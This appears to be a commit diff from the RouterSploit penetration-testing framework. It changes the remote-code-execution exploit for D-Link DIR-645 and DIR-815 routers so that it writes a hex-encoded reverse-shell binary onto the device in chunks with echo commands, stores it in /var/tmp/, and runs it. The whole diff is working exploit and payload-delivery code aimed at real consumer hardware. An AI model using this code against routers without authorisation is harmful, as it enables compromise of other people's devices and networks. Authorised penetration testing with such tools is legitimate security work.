D-Link Dir-645 & Dir-815 RCE echo reverse shell (#213)

routersploit/modules/exploits/dlink/dir_645_815_rce.py

@@ -46,7 +46,7 @@ class Exploit(exploits.Exploit):
             print_success("Target is vulnerable")
             print_status("Invoking command loop...")
             print_status("It is blind command injection, response is not available")
-            shell(self, architecture="mipsel")
+            shell(self, architecture="mipsel", method="echo", binary="echo", location="/var/tmp/")
         else:
             print_error("Exploit failed - target seems to be not vulnerable")
 

routersploit/shell.py

@@ -427,8 +427,8 @@ class reverse_shell(object):
             print_status("Transferring {}/{} bytes".format(current, len(self.revshell)))
 
             block = self.revshell[current:current + 30].encode('hex')
-            block = "\\x" + "\\x".join(a + b for a, b in zip(block[::2], block[1::2]))
-            cmd = '$(echo -n -e "{}" >> {})'.format(block, path)
+            block = "\\\\x" + "\\\\x".join(a + b for a, b in zip(block[::2], block[1::2]))
+            cmd = 'echo -ne "{}" >> {}'.format(block, path)
             self.exploit.execute(cmd)
 
         # execute binary